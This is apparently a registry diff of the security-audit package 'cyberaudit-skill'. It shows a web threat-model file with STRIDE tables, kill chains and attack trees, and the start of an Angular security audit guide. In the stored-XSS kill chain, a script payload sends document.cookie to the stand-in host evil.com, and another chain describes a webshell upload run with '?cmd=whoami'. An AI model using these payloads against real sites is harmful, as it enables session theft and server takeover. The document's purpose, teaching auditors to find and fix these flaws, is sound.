cyberaudit-skill 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +77 -0
- package/dist/cli.d.ts +2 -0
- package/dist/cli.js +241 -0
- package/dist/mcp-server.d.ts +2 -0
- package/dist/mcp-server.js +126 -0
- package/package.json +58 -0
- package/skills/cyberaudit/AGENT-BOOT.md +122 -0
- package/skills/cyberaudit/COMMANDS.md +1125 -0
- package/skills/cyberaudit/INSTALL.md +311 -0
- package/skills/cyberaudit/MASTER.md +194 -0
- package/skills/cyberaudit/README.md +154 -0
- package/skills/cyberaudit/USAGE-GUIDE.md +107 -0
- package/skills/cyberaudit/mobile/MOBILE-CHECKLIST.md +245 -0
- package/skills/cyberaudit/mobile/MOBILE-PHILOSOPHY.md +352 -0
- package/skills/cyberaudit/mobile/MOBILE-REMEDIATION-LIBRARY.md +468 -0
- package/skills/cyberaudit/mobile/MOBILE-THREAT-MODELS.md +279 -0
- package/skills/cyberaudit/mobile/frameworks/EXPO.md +247 -0
- package/skills/cyberaudit/mobile/frameworks/FLUTTER.md +338 -0
- package/skills/cyberaudit/mobile/frameworks/IONIC.md +248 -0
- package/skills/cyberaudit/mobile/frameworks/REACT-NATIVE.md +479 -0
- package/skills/cyberaudit/mobile/vulnerabilities/AUTH-MOBILE.md +160 -0
- package/skills/cyberaudit/mobile/vulnerabilities/BINARY-ANALYSIS.md +193 -0
- package/skills/cyberaudit/mobile/vulnerabilities/CRYPTO-MOBILE.md +192 -0
- package/skills/cyberaudit/mobile/vulnerabilities/IPC-DEEPLINKS.md +231 -0
- package/skills/cyberaudit/mobile/vulnerabilities/NETWORK-MOBILE.md +165 -0
- package/skills/cyberaudit/mobile/vulnerabilities/PERMISSIONS.md +180 -0
- package/skills/cyberaudit/mobile/vulnerabilities/RUNTIME-MOBILE.md +214 -0
- package/skills/cyberaudit/mobile/vulnerabilities/STORAGE.md +197 -0
- package/skills/cyberaudit/reports/EXECUTIVE-SUMMARY-TEMPLATE.md +188 -0
- package/skills/cyberaudit/reports/REPORT-TEMPLATE-MOBILE.md +410 -0
- package/skills/cyberaudit/reports/REPORT-TEMPLATE-WEB.md +222 -0
- package/skills/cyberaudit/shared/COMPLIANCE.md +307 -0
- package/skills/cyberaudit/shared/CVSS-GUIDE.md +175 -0
- package/skills/cyberaudit/shared/OWASP-MAPPER.md +130 -0
- package/skills/cyberaudit/shared/SEVERITY-SCORING.md +102 -0
- package/skills/cyberaudit/shared/THREAT-MODELING.md +112 -0
- package/skills/cyberaudit/web/WEB-CHECKLIST.md +222 -0
- package/skills/cyberaudit/web/WEB-PHILOSOPHY.md +308 -0
- package/skills/cyberaudit/web/WEB-REMEDIATION-LIBRARY.md +665 -0
- package/skills/cyberaudit/web/WEB-THREAT-MODELS.md +460 -0
- package/skills/cyberaudit/web/frameworks/ANGULAR.md +169 -0
- package/skills/cyberaudit/web/frameworks/EXPRESS.md +185 -0
- package/skills/cyberaudit/web/frameworks/LARAVEL.md +371 -0
- package/skills/cyberaudit/web/frameworks/NESTJS.md +337 -0
- package/skills/cyberaudit/web/frameworks/NEXTJS.md +352 -0
- package/skills/cyberaudit/web/frameworks/REACT.md +346 -0
- package/skills/cyberaudit/web/frameworks/VUE.md +205 -0
- package/skills/cyberaudit/web/vulnerabilities/AUTH-AUTHZ.md +117 -0
- package/skills/cyberaudit/web/vulnerabilities/BUSINESS-LOGIC.md +603 -0
- package/skills/cyberaudit/web/vulnerabilities/CORS.md +117 -0
- package/skills/cyberaudit/web/vulnerabilities/CSRF.md +131 -0
- package/skills/cyberaudit/web/vulnerabilities/DESERIALIZATION.md +96 -0
- package/skills/cyberaudit/web/vulnerabilities/HEADERS.md +105 -0
- package/skills/cyberaudit/web/vulnerabilities/IDOR-BOLA.md +153 -0
- package/skills/cyberaudit/web/vulnerabilities/INJECTION.md +165 -0
- package/skills/cyberaudit/web/vulnerabilities/SECRETS.md +119 -0
- package/skills/cyberaudit/web/vulnerabilities/SSRF.md +124 -0
- package/skills/cyberaudit/web/vulnerabilities/SUPPLY-CHAIN.md +142 -0
- package/skills/cyberaudit/web/vulnerabilities/XSS.md +133 -0
- package/skills/cyberaudit/web/vulnerabilities/XXE.md +94 -0
|
@@ -0,0 +1,460 @@
|
|
|
1
|
+
# 🎯 WEB THREAT MODELS — CYBERAUDIT SKILL
|
|
2
|
+
# Comprehensive threat models for web applications
|
|
3
|
+
|
|
4
|
+
═══════════════════════════════════════════════════════════════
|
|
5
|
+
METHOD USED
|
|
6
|
+
═══════════════════════════════════════════════════════════════
|
|
7
|
+
|
|
8
|
+
This file combines:
|
|
9
|
+
→ STRIDE : Threat taxonomy by type
|
|
10
|
+
→ PASTA : Process for Attack Simulation & Threat Analysis
|
|
11
|
+
→ Kill Chains : Realistic exploitation chains
|
|
12
|
+
→ Attack Trees : Attack decision trees
|
|
13
|
+
|
|
14
|
+
WHEN TO USE THIS FILE:
|
|
15
|
+
→ Auditing a new feature before development
|
|
16
|
+
→ Architecture review
|
|
17
|
+
→ Deep audit level 3-4
|
|
18
|
+
→ Overall risk assessment of an application
|
|
19
|
+
|
|
20
|
+
═══════════════════════════════════════════════════════════════
|
|
21
|
+
STRIDE BY WEB COMPONENT
|
|
22
|
+
═══════════════════════════════════════════════════════════════
|
|
23
|
+
|
|
24
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
25
|
+
COMPONENT: FORM / USER INPUT
|
|
26
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
27
|
+
|
|
28
|
+
S — Spoofing
|
|
29
|
+
Threat : Attacker forges identity data
|
|
30
|
+
Examples : Fake email, fake username, role=admin field
|
|
31
|
+
Control : Strict validation, whitelist of allowed values
|
|
32
|
+
|
|
33
|
+
T — Tampering
|
|
34
|
+
Threat : Data modification before server submission
|
|
35
|
+
Examples : Price manipulation, quantity manipulation, IDs
|
|
36
|
+
Control : Server-side verification, HMAC signing of critical data
|
|
37
|
+
|
|
38
|
+
R — Repudiation
|
|
39
|
+
Threat : User denies submitting this form
|
|
40
|
+
Examples : Denied transaction, denied destructive action
|
|
41
|
+
Control : Logging with timestamp, IP, user-agent, session ID
|
|
42
|
+
|
|
43
|
+
I — Information Disclosure
|
|
44
|
+
Threat : Form reveals sensitive information
|
|
45
|
+
Examples : Account enumeration via different error messages
|
|
46
|
+
Data enumeration via timing attacks
|
|
47
|
+
Control : Generic error messages, constant-time comparisons
|
|
48
|
+
|
|
49
|
+
D — Denial of Service
|
|
50
|
+
Threat : Mass form submission
|
|
51
|
+
Examples : Brute force login, registration spam, reset flood
|
|
52
|
+
Control : Rate limiting, CAPTCHA, progressive lockout
|
|
53
|
+
|
|
54
|
+
E — Elevation of Privilege
|
|
55
|
+
Threat : Hidden field modification to gain rights
|
|
56
|
+
Examples : role=admin in body, is_verified=true
|
|
57
|
+
Control : Whitelist of accepted fields, server-side validation
|
|
58
|
+
|
|
59
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
60
|
+
COMPONENT: REST API / GRAPHQL
|
|
61
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
62
|
+
|
|
63
|
+
S — Spoofing
|
|
64
|
+
Threat : Forged or stolen token to impersonate identity
|
|
65
|
+
Examples : JWT algorithm confusion, token theft via XSS
|
|
66
|
+
Control : JWT signature verified, HttpOnly cookies, CSP
|
|
67
|
+
|
|
68
|
+
T — Tampering
|
|
69
|
+
Threat : Request parameter modification
|
|
70
|
+
Examples : IDOR via ID manipulation, modified price in body
|
|
71
|
+
Control : Ownership check, signing of critical data
|
|
72
|
+
|
|
73
|
+
R — Repudiation
|
|
74
|
+
Threat : Untracked API actions
|
|
75
|
+
Examples : Data modification without log, delete without audit
|
|
76
|
+
Control : Audit log on all mutations
|
|
77
|
+
|
|
78
|
+
I — Information Disclosure
|
|
79
|
+
Threat : API returns too much data
|
|
80
|
+
Examples : Over-fetching, unfiltered sensitive fields,
|
|
81
|
+
errors revealing internal structure
|
|
82
|
+
Control : Strict DTO, explicit select(), error handling
|
|
83
|
+
|
|
84
|
+
D — Denial of Service
|
|
85
|
+
Threat : Expensive or massive requests
|
|
86
|
+
Examples : GraphQL nested queries, pagination without limit,
|
|
87
|
+
catastrophic regex (ReDoS)
|
|
88
|
+
Control : Rate limiting, query complexity, timeout
|
|
89
|
+
|
|
90
|
+
E — Elevation of Privilege
|
|
91
|
+
Threat : Access to endpoints above one's level
|
|
92
|
+
Examples : User accessing /admin/*, BFLA
|
|
93
|
+
Control : Role verification on every endpoint
|
|
94
|
+
|
|
95
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
96
|
+
COMPONENT: AUTHENTICATION
|
|
97
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
98
|
+
|
|
99
|
+
S — Spoofing
|
|
100
|
+
Threat : Credential or auth mechanism compromise
|
|
101
|
+
Examples : Brute force, credential stuffing, phishing
|
|
102
|
+
Password reset hijacking, session fixation
|
|
103
|
+
Control : Rate limiting, MFA, argon2, HTTPS, secure tokens
|
|
104
|
+
|
|
105
|
+
T — Tampering
|
|
106
|
+
Threat : Session data or token modification
|
|
107
|
+
Examples : JWT payload modified, guessed session ID
|
|
108
|
+
Cookie manipulation, modified role in token
|
|
109
|
+
Control : JWT signature, strong random session ID
|
|
110
|
+
|
|
111
|
+
R — Repudiation
|
|
112
|
+
Threat : Untracked login and logout
|
|
113
|
+
Examples : Untracked access, no connection history
|
|
114
|
+
Control : Log every auth event with full metadata
|
|
115
|
+
|
|
116
|
+
I — Information Disclosure
|
|
117
|
+
Threat : Auth mechanism reveals information
|
|
118
|
+
Examples : "Email not found" vs "Incorrect password"
|
|
119
|
+
Different timing based on account existence
|
|
120
|
+
Token with decodable payload (not encrypted)
|
|
121
|
+
Control : Generic messages, constant delay, opaque JWT
|
|
122
|
+
|
|
123
|
+
D — Denial of Service
|
|
124
|
+
Threat : Blocking legitimate users
|
|
125
|
+
Examples : Abusive lockout (attacker blocks target accounts)
|
|
126
|
+
Reset password flood
|
|
127
|
+
Control : Progressive lockout, CAPTCHA, alerts
|
|
128
|
+
|
|
129
|
+
E — Elevation of Privilege
|
|
130
|
+
Threat : Become admin or another user
|
|
131
|
+
Examples : Password reset without identity validation
|
|
132
|
+
Auth bypass via debug=true parameter
|
|
133
|
+
Default admin account unchanged
|
|
134
|
+
Control : Strict flow validation, no backdoor
|
|
135
|
+
|
|
136
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
137
|
+
COMPONENT: DATABASE
|
|
138
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
139
|
+
|
|
140
|
+
S — Spoofing
|
|
141
|
+
Threat : Injected data posing as other data
|
|
142
|
+
Examples : Second-order SQLi (stored data, executed later)
|
|
143
|
+
Control : Parameterization at write AND read
|
|
144
|
+
|
|
145
|
+
T — Tampering
|
|
146
|
+
Threat : Unauthorized data modification
|
|
147
|
+
Examples : SQLi UPDATE/DELETE, mass assignment
|
|
148
|
+
Control : Parameterized queries, secure ORM, DB least privilege
|
|
149
|
+
|
|
150
|
+
R — Repudiation
|
|
151
|
+
Threat : Data modification without trace
|
|
152
|
+
Examples : UPDATE without audit trail, DELETE without soft delete
|
|
153
|
+
Control : Audit tables, soft delete, event sourcing
|
|
154
|
+
|
|
155
|
+
I — Information Disclosure
|
|
156
|
+
Threat : Unauthorized data access
|
|
157
|
+
Examples : SQLi SELECT, IDOR, exposed backup,
|
|
158
|
+
unencrypted data at rest
|
|
159
|
+
Control : Encryption, minimal access, row-level security
|
|
160
|
+
|
|
161
|
+
D — Denial of Service
|
|
162
|
+
Threat : Database saturation
|
|
163
|
+
Examples : Queries without index on large table,
|
|
164
|
+
unclosed transactions, locks
|
|
165
|
+
Control : Timeouts, connection pooling, pagination
|
|
166
|
+
|
|
167
|
+
E — Elevation of Privilege
|
|
168
|
+
Threat : Access to data outside one's scope
|
|
169
|
+
Examples : DB account with too many privileges,
|
|
170
|
+
injection enabling xp_cmdshell (MSSQL)
|
|
171
|
+
Control : Read-only DB account where possible, least privilege
|
|
172
|
+
|
|
173
|
+
═══════════════════════════════════════════════════════════════
|
|
174
|
+
DETAILED KILL CHAINS
|
|
175
|
+
═══════════════════════════════════════════════════════════════
|
|
176
|
+
|
|
177
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
178
|
+
KILL CHAIN KC-WEB-001
|
|
179
|
+
Name: Complete Account Takeover
|
|
180
|
+
Final severity: CRITICAL
|
|
181
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
182
|
+
|
|
183
|
+
STEP 1 — Reconnaissance (INFO)
|
|
184
|
+
Action : GET /api/users?email=test@test.com
|
|
185
|
+
Result : Different response if email exists or not
|
|
186
|
+
Condition: Non-generic error messages
|
|
187
|
+
|
|
188
|
+
STEP 2 — Account enumeration (LOW)
|
|
189
|
+
Action : Iterate over a list of known emails
|
|
190
|
+
Result : List of valid accounts confirmed
|
|
191
|
+
Condition: No rate limiting on /forgot-password
|
|
192
|
+
|
|
193
|
+
STEP 3 — Reset password attack (HIGH)
|
|
194
|
+
Action : Trigger reset + analyze token
|
|
195
|
+
Result : Predictable token (timestamp, sequential)
|
|
196
|
+
Condition: Non-random token or no expiration
|
|
197
|
+
|
|
198
|
+
STEP 4 — Account takeover (CRITICAL)
|
|
199
|
+
Action : Use forged/guessed token
|
|
200
|
+
Result : New password set, account compromised
|
|
201
|
+
Condition: Token not invalidated after use
|
|
202
|
+
|
|
203
|
+
FINAL IMPACT:
|
|
204
|
+
→ Full access to user account
|
|
205
|
+
→ Access to all their data
|
|
206
|
+
→ Actions on their behalf
|
|
207
|
+
→ If admin: total application compromise
|
|
208
|
+
|
|
209
|
+
REMEDIATION:
|
|
210
|
+
→ Generic error messages on reset
|
|
211
|
+
→ Rate limiting on /forgot-password
|
|
212
|
+
→ Cryptographically random tokens (32+ bytes)
|
|
213
|
+
→ Short expiration (15 minutes)
|
|
214
|
+
→ Single-use + immediate invalidation
|
|
215
|
+
|
|
216
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
217
|
+
KILL CHAIN KC-WEB-002
|
|
218
|
+
Name: Massive Data Breach via IDOR
|
|
219
|
+
Final severity: CRITICAL
|
|
220
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
221
|
+
|
|
222
|
+
STEP 1 — Discovery (INFO)
|
|
223
|
+
Action : Observe API requests as a user
|
|
224
|
+
Result : GET /api/invoices/1042 — sequential ID visible
|
|
225
|
+
Condition: Predictable IDs exposed in API
|
|
226
|
+
|
|
227
|
+
STEP 2 — IDOR Test (HIGH)
|
|
228
|
+
Action : GET /api/invoices/1041
|
|
229
|
+
Result : Another user's invoice returned
|
|
230
|
+
Condition: No ownership check server-side
|
|
231
|
+
|
|
232
|
+
STEP 3 — Automated enumeration (CRITICAL)
|
|
233
|
+
Action : Script iterating from 1 to 99999
|
|
234
|
+
Result : All invoices from all users
|
|
235
|
+
Condition: No rate limiting on the endpoint
|
|
236
|
+
|
|
237
|
+
FINAL IMPACT:
|
|
238
|
+
→ Exposure of all user data
|
|
239
|
+
→ Massive GDPR violation
|
|
240
|
+
→ Potential fines (up to 4% global turnover)
|
|
241
|
+
→ Irreparable reputation damage
|
|
242
|
+
|
|
243
|
+
REMEDIATION:
|
|
244
|
+
→ Unpredictable UUIDs as identifiers
|
|
245
|
+
→ Ownership verification on every access
|
|
246
|
+
→ Rate limiting on read endpoints
|
|
247
|
+
→ Monitoring of abnormal access patterns
|
|
248
|
+
|
|
249
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
250
|
+
KILL CHAIN KC-WEB-003
|
|
251
|
+
Name: RCE via File Upload
|
|
252
|
+
Final severity: CRITICAL (10.0)
|
|
253
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
254
|
+
|
|
255
|
+
STEP 1 — Upload test (INFO)
|
|
256
|
+
Action : Upload a normal image
|
|
257
|
+
Result : File accessible at /uploads/photo.jpg
|
|
258
|
+
Condition: Files stored in a web-accessible folder
|
|
259
|
+
|
|
260
|
+
STEP 2 — MIME bypass (HIGH)
|
|
261
|
+
Action : Upload shell.php renamed to shell.jpg
|
|
262
|
+
with Content-Type: image/jpeg
|
|
263
|
+
Result : File accepted (extension-only check)
|
|
264
|
+
Condition: No actual file content verification
|
|
265
|
+
|
|
266
|
+
STEP 3 — Execution (CRITICAL)
|
|
267
|
+
Action : GET /uploads/shell.jpg?cmd=whoami
|
|
268
|
+
Result : PHP code executed
|
|
269
|
+
Condition: Server executes PHP in the upload folder
|
|
270
|
+
|
|
271
|
+
STEP 4 — Persistence (CRITICAL)
|
|
272
|
+
Action : Install a permanent webshell
|
|
273
|
+
Result : Persistent server access
|
|
274
|
+
Condition: Write permissions on the server
|
|
275
|
+
|
|
276
|
+
FINAL IMPACT:
|
|
277
|
+
→ Remote Code Execution on the server
|
|
278
|
+
→ Access to the entire database
|
|
279
|
+
→ Compromise of other internal services
|
|
280
|
+
→ Potentially the whole internal network
|
|
281
|
+
|
|
282
|
+
REMEDIATION:
|
|
283
|
+
→ Verify real MIME type (magic bytes)
|
|
284
|
+
→ Store uploads OUTSIDE the webroot
|
|
285
|
+
→ Regenerate filenames randomly
|
|
286
|
+
→ Disable code execution in the upload folder
|
|
287
|
+
→ Scan uploaded files
|
|
288
|
+
|
|
289
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
290
|
+
KILL CHAIN KC-WEB-004
|
|
291
|
+
Name: Stored XSS → Session Hijacking
|
|
292
|
+
Final severity: HIGH
|
|
293
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
294
|
+
|
|
295
|
+
STEP 1 — Payload injection (MEDIUM)
|
|
296
|
+
Action : Post a comment with:
|
|
297
|
+
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
|
|
298
|
+
Result : Payload stored in database without sanitization
|
|
299
|
+
Condition: Output not escaped in templates
|
|
300
|
+
|
|
301
|
+
STEP 2 — Activation (HIGH)
|
|
302
|
+
Action : Admin or other user visits the page
|
|
303
|
+
Result : Script executed in their browser
|
|
304
|
+
Condition: Cookies without HttpOnly flag
|
|
305
|
+
|
|
306
|
+
STEP 3 — Session Hijacking (HIGH)
|
|
307
|
+
Action : Session cookie sent to evil.com
|
|
308
|
+
Result : Attacker uses the cookie → admin account access
|
|
309
|
+
Condition: Cookie accessible via JavaScript
|
|
310
|
+
|
|
311
|
+
FINAL IMPACT:
|
|
312
|
+
→ Admin account compromised
|
|
313
|
+
→ Full application access
|
|
314
|
+
→ Lateral movement possible
|
|
315
|
+
|
|
316
|
+
REMEDIATION:
|
|
317
|
+
→ Escape all HTML output ({{ }}, htmlspecialchars)
|
|
318
|
+
→ Restrictive CSP blocking inline scripts
|
|
319
|
+
→ HttpOnly + Secure + SameSite on cookies
|
|
320
|
+
→ DOMPurify if user HTML is necessary
|
|
321
|
+
|
|
322
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
323
|
+
KILL CHAIN KC-WEB-005
|
|
324
|
+
Name: Supply Chain Attack via Dependency
|
|
325
|
+
Final severity: CRITICAL
|
|
326
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
327
|
+
|
|
328
|
+
STEP 1 — Targeting (External)
|
|
329
|
+
Action : Attacker publishes "coIors" (typosquatting of "colors")
|
|
330
|
+
Result : Malicious package on npm
|
|
331
|
+
Condition: Developer makes a typo
|
|
332
|
+
|
|
333
|
+
STEP 2 — Unintentional installation (INFO)
|
|
334
|
+
Action : npm install coIors (with uppercase I)
|
|
335
|
+
Result : Malicious package installed
|
|
336
|
+
Condition: No verification of installed packages
|
|
337
|
+
|
|
338
|
+
STEP 3 — Execution (CRITICAL)
|
|
339
|
+
Action : postinstall script executed automatically
|
|
340
|
+
Result : Backdoor installed, secrets exfiltrated
|
|
341
|
+
Condition: Post-install scripts not audited
|
|
342
|
+
|
|
343
|
+
FINAL IMPACT:
|
|
344
|
+
→ All dev machine secrets exfiltrated
|
|
345
|
+
→ Backdoor in production code
|
|
346
|
+
→ CI/CD compromise
|
|
347
|
+
|
|
348
|
+
REMEDIATION:
|
|
349
|
+
→ Regular npm audit
|
|
350
|
+
→ Check postinstall scripts before installation
|
|
351
|
+
→ Lock files committed and verified
|
|
352
|
+
→ Private registry with validation
|
|
353
|
+
→ Dependency audit in CI/CD
|
|
354
|
+
|
|
355
|
+
═══════════════════════════════════════════════════════════════
|
|
356
|
+
ATTACK TREES
|
|
357
|
+
═══════════════════════════════════════════════════════════════
|
|
358
|
+
|
|
359
|
+
TREE: COMPROMISE A USER ACCOUNT
|
|
360
|
+
──────────────────────────────────────────
|
|
361
|
+
|
|
362
|
+
OBJECTIVE: Access a user account
|
|
363
|
+
│
|
|
364
|
+
├── CREDENTIAL THEFT
|
|
365
|
+
│ ├── Brute force (if no rate limiting)
|
|
366
|
+
│ ├── Credential stuffing (external leaks)
|
|
367
|
+
│ ├── Phishing (outside technical scope)
|
|
368
|
+
│ └── Password reset hijacking
|
|
369
|
+
│ ├── Predictable token
|
|
370
|
+
│ ├── Non-expired token
|
|
371
|
+
│ └── Possible email enumeration
|
|
372
|
+
│
|
|
373
|
+
├── SESSION THEFT
|
|
374
|
+
│ ├── XSS → cookie theft (if no HttpOnly)
|
|
375
|
+
│ ├── Network interception (if no HTTPS)
|
|
376
|
+
│ ├── Session fixation
|
|
377
|
+
│ └── Predictable session ID
|
|
378
|
+
│
|
|
379
|
+
└── AUTHENTICATION BYPASS
|
|
380
|
+
├── SQLi on login
|
|
381
|
+
├── Auth logic flaw (mass assignment role)
|
|
382
|
+
├── JWT manipulation (algorithm none, weak secret)
|
|
383
|
+
└── OAuth misconfiguration
|
|
384
|
+
|
|
385
|
+
TREE: ACCESS ANOTHER USER'S DATA
|
|
386
|
+
──────────────────────────────────────
|
|
387
|
+
|
|
388
|
+
OBJECTIVE: Read another user's data
|
|
389
|
+
│
|
|
390
|
+
├── DIRECT IDOR
|
|
391
|
+
│ ├── Sequential ID in URL
|
|
392
|
+
│ ├── ID in body not verified
|
|
393
|
+
│ └── ID in query params
|
|
394
|
+
│
|
|
395
|
+
├── INDIRECT IDOR
|
|
396
|
+
│ ├── Access via relation (A→B→C without check)
|
|
397
|
+
│ ├── Reference in an export
|
|
398
|
+
│ └── Reference in a webhook
|
|
399
|
+
│
|
|
400
|
+
└── BROKEN ACCESS CONTROL
|
|
401
|
+
├── Admin endpoint accessible to all
|
|
402
|
+
├── Bypassed filter parameter
|
|
403
|
+
└── JWT with modifiable role
|
|
404
|
+
|
|
405
|
+
═══════════════════════════════════════════════════════════════
|
|
406
|
+
THREAT MODEL BY APP TYPE
|
|
407
|
+
═══════════════════════════════════════════════════════════════
|
|
408
|
+
|
|
409
|
+
E-COMMERCE
|
|
410
|
+
──────────
|
|
411
|
+
MALICIOUS ACTORS:
|
|
412
|
+
→ Malicious customer (price manipulation, fraud)
|
|
413
|
+
→ Competitor (scraping, resource abuse)
|
|
414
|
+
→ Cybercriminal (payment data theft)
|
|
415
|
+
→ Insider (abused employee access)
|
|
416
|
+
|
|
417
|
+
TOP THREATS:
|
|
418
|
+
1. Client-side price manipulation
|
|
419
|
+
2. Coupon/promo code abuse
|
|
420
|
+
3. Inventory manipulation (race condition)
|
|
421
|
+
4. Payment bypass (business logic)
|
|
422
|
+
5. Exposed credit card data
|
|
423
|
+
6. Account takeover → purchase fraud
|
|
424
|
+
7. Massive catalog scraping
|
|
425
|
+
|
|
426
|
+
PRIORITY CONTROLS:
|
|
427
|
+
→ Prices calculated and validated server-side only
|
|
428
|
+
→ Rate limiting on coupon endpoints
|
|
429
|
+
→ Atomic transactions for inventory
|
|
430
|
+
→ PCI-DSS compliant integration
|
|
431
|
+
→ 3DS2 on payments
|
|
432
|
+
|
|
433
|
+
SaaS MULTI-TENANT
|
|
434
|
+
─────────────────
|
|
435
|
+
TOP THREATS:
|
|
436
|
+
1. Tenant isolation breach (access to another tenant's data)
|
|
437
|
+
2. Intra-tenant privilege escalation
|
|
438
|
+
3. Admin account takeover
|
|
439
|
+
4. API abuse / over-consumption
|
|
440
|
+
5. Massive data export
|
|
441
|
+
|
|
442
|
+
PRIORITY CONTROLS:
|
|
443
|
+
→ tenant_id on ALL DB queries
|
|
444
|
+
→ Row-Level Security if possible
|
|
445
|
+
→ Strict context isolation
|
|
446
|
+
|
|
447
|
+
HEALTHCARE APPLICATION
|
|
448
|
+
─────────────────────
|
|
449
|
+
TOP THREATS:
|
|
450
|
+
1. Unauthorized access to medical data
|
|
451
|
+
2. Modification of critical medical data
|
|
452
|
+
3. Unavailability (DoS on critical system)
|
|
453
|
+
4. HIPAA/GDPR non-compliance
|
|
454
|
+
5. Insufficient audit trail
|
|
455
|
+
|
|
456
|
+
PRIORITY CONTROLS:
|
|
457
|
+
→ Encryption at rest mandatory
|
|
458
|
+
→ Audit log of every patient data access
|
|
459
|
+
→ Mandatory MFA for healthcare professionals
|
|
460
|
+
→ Compliant retention and anonymization
|
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
# 🔴 ANGULAR — SECURITY AUDIT GUIDE
|
|
2
|
+
|
|
3
|
+
═══════════════════════════════════════════════════════════════
|
|
4
|
+
ANGULAR THREAT MODEL
|
|
5
|
+
═══════════════════════════════════════════════════════════════
|
|
6
|
+
|
|
7
|
+
ANGULAR HAS THE MOST BUILT-IN SECURITY:
|
|
8
|
+
→ Auto-escape by default in templates
|
|
9
|
+
→ DomSanitizer for explicit bypasses
|
|
10
|
+
→ HttpClient with interceptors
|
|
11
|
+
→ Guards built into the router
|
|
12
|
+
|
|
13
|
+
BUT THESE PROTECTIONS CAN BE BYPASSED.
|
|
14
|
+
Looking for explicit bypasses = looking for vulnerabilities.
|
|
15
|
+
|
|
16
|
+
ANGULAR ATTACK SURFACE
|
|
17
|
+
──────────────────────────
|
|
18
|
+
LAYER 1 — TEMPLATES AND BINDING
|
|
19
|
+
Risks: bypassSecurityTrust*, innerHTML, [outerHTML]
|
|
20
|
+
|
|
21
|
+
LAYER 2 — HTTP INTERCEPTORS
|
|
22
|
+
Risks: Poorly managed tokens, unhandled errors
|
|
23
|
+
|
|
24
|
+
LAYER 3 — ROUTE GUARDS
|
|
25
|
+
Risks: Incomplete guards, insecure lazy-loading
|
|
26
|
+
|
|
27
|
+
LAYER 4 — ENVIRONMENTS
|
|
28
|
+
Risks: environment.prod with secrets
|
|
29
|
+
|
|
30
|
+
LAYER 5 — SSR (ANGULAR UNIVERSAL)
|
|
31
|
+
Risks: Server-side secrets exposed
|
|
32
|
+
|
|
33
|
+
═══════════════════════════════════════════════════════════════
|
|
34
|
+
VULNERABLE ANGULAR PATTERNS
|
|
35
|
+
═══════════════════════════════════════════════════════════════
|
|
36
|
+
|
|
37
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
38
|
+
SANITIZER BYPASS
|
|
39
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
40
|
+
|
|
41
|
+
CRITICAL PATTERN — bypassSecurityTrust* with user input
|
|
42
|
+
DETECT:
|
|
43
|
+
// ❌ Any use with user data
|
|
44
|
+
this.safeHtml = this.sanitizer
|
|
45
|
+
.bypassSecurityTrustHtml(userInput)
|
|
46
|
+
|
|
47
|
+
this.safeUrl = this.sanitizer
|
|
48
|
+
.bypassSecurityTrustUrl(userUrl)
|
|
49
|
+
|
|
50
|
+
this.safeScript = this.sanitizer
|
|
51
|
+
.bypassSecurityTrustScript(userScript) // CRITICAL
|
|
52
|
+
|
|
53
|
+
// In templates:
|
|
54
|
+
[innerHTML]="trustedContent"
|
|
55
|
+
[outerHTML]="trustedContent"
|
|
56
|
+
[href]="bypassedUrl"
|
|
57
|
+
|
|
58
|
+
FIX:
|
|
59
|
+
import DOMPurify from 'dompurify'
|
|
60
|
+
import { DomSanitizer, SafeHtml } from '@angular/platform-browser'
|
|
61
|
+
|
|
62
|
+
@Pipe({ name: 'safeHtml', standalone: true })
|
|
63
|
+
export class SafeHtmlPipe implements PipeTransform {
|
|
64
|
+
constructor(private sanitizer: DomSanitizer) {}
|
|
65
|
+
|
|
66
|
+
transform(value: string): SafeHtml {
|
|
67
|
+
const clean = DOMPurify.sanitize(value, {
|
|
68
|
+
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
|
|
69
|
+
ALLOWED_ATTR: [],
|
|
70
|
+
})
|
|
71
|
+
// bypassSecurityTrustHtml ONLY after DOMPurify sanitization
|
|
72
|
+
return this.sanitizer.bypassSecurityTrustHtml(clean)
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// Template:
|
|
77
|
+
<div [innerHTML]="userContent | safeHtml"></div>
|
|
78
|
+
|
|
79
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
80
|
+
SECURE HTTP INTERCEPTOR
|
|
81
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
82
|
+
|
|
83
|
+
COMPLETE IMPLEMENTATION
|
|
84
|
+
@Injectable()
|
|
